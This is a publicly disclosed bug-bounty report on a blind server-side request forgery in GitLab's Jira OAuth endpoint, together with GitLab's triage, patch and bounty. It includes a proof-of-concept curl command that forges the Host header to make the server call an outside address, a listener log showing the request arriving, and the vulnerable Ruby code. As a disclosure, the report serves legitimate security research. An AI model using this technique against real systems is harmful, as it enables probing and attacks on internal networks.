28 Unauthenticated blind SSRF in OAuth Jira authorization controller

Share:

State	○ Resolved (Closed)
Disclosed	**March 14, 2019 9:58pm +0530**
Reported To	GitLab
Weakness	Server-Side Request Forgery (SSRF)
Bounty	$4,000
Severity	High (7.5)
Participants	
Visibility	Disclosed (Full)

Collapse

TIMELINE

jobert submitted a report to **GitLab**. Aug 24th (7 months ago)

The `Oauth::Jira::AuthorizationsController#access_token` endpoint is vulnerable to a blind SSRF vulnerability. The vulnerability allows an attacker to make arbitrary HTTP/HTTPS requests inside a GitLab instance's network.

Proof of concept

To reproduce the vulnerability, follow the steps below.

- spin up a GitLab EE instance with the latest version (11.2.1-ee)
- send a `POST` request to the `/-/jira/login/oauth/callback` endpoint, as shown below. In the request, point the `Host` header to the hostname / IP address and port number you want to send the request to:

```
curl -X POST -H 'Host: 162.243.147.21:81' 'https://gitlab.com/-/jira/login/oauth/access_token'
```

- Observe a `POST` request being sent to `162.243.147.21:81` (in this case HTTPS):

```
Listening on [0.0.0.0] (family 0, port 81)
Connection from [35.231.137.154] port 81 [tcp/*] accepted (family 2, sport 58558)
□̃□□□□□□
��/$����4�i�,�J̃%>�+�/�,�0������#�'�    ��$�(�
�gk39@j28��<=/5�l162.243.147.21

 Connection closed, listening again.
```

Vulnerable code

The following code can be found in the `Oauth::Jira::AuthorizationsController#access_token` method.

```
def access_token
  auth_params = params
                .slice(:code, :client_id, :client_secret)
                .merge(grant_type: 'authorization_code', redirect_uri: oauth_jira_callback_url)

  auth_response = Gitlab::HTTP.post(oauth_token_url, body: auth_params, allow_local_requests: true)
  token_type, scope, token = auth_response['token_type'], auth_response['scope'], auth_response['access_token']

  render text: "access_token=#{token}&scope=#{scope}&token_type=#{token_type}"
end
```

The `GItlab::HTTP.post` call is using the `oauth_token_url` directly. This `_url` Rails routing helper uses the `Host` header to construct the URL it needs to point to. Because every host is accepted in GitLab, the constructed URL can point to an internal system. This is how it's supposed to work. However, the `Host` header should be checked before making the `post` call to avoid an attacker being able to make arbitrary requests.

Impact

The response of the server is actually interpreted, but this is limited to a JSON response that returns an `access_token`, `scope`, and `token_type`. However, this may have additional consequences in case there are unauthenticated endpoints within the instance's network. This isn't very likely, which is why the attack complexity is set to High. It has a minor impact on Availability, because a thread is blocked on the TCP read timeout, which is set to 60 seconds (`curl -X POST -H 'Host: 162.243.147.21:81' 0.03s user 0.01s system 0% cpu 1:00.76 total`). The integrity impact is currently set at High, but this depends on additional factors, such as what other internal services can be hit. The user does not need to be authenticated to execute the call.

jritchey changed the status to ○ **Triaged**. Aug 27th (7 months ago)

jritchey posted a comment. Sep 4th (6 months ago)

Hi @jobert ,

Thank you for submitting this report. I've validated that this is an SSRF issue. We are working internally on resolving the issue at https://gitlab.com/gitlab-org/gitlab-ce/issues/50748. We are working to get this patched immediately.

The issue will be made public 30 days after a patch has been released. We will keep you updated on our progress via HackerOne.

Best regards,
James

GitLab rewarded jobert with a **$4,000** bounty. Oct 11th (5 months ago)

estrike closed the report and changed the status to ○ **Resolved**. Feb 11th (about 1 month ago)

Hi @jobert,

Thank you again for the report! Your finding has been patched in GitLab version 11.7.3 and we have awarded a bounty. Congratulations!

Please let us know if you find that our patch does not mitigate your finding. Your report will be published in 30 days in GitLab's issue tracker.

We look forward to your next report!

Best regards,
Security Team | GitLab Inc.

jobert requested to disclose this report. Feb 12th (about 1 month ago)

This report has been disclosed. Mar 14th (15 hrs ago)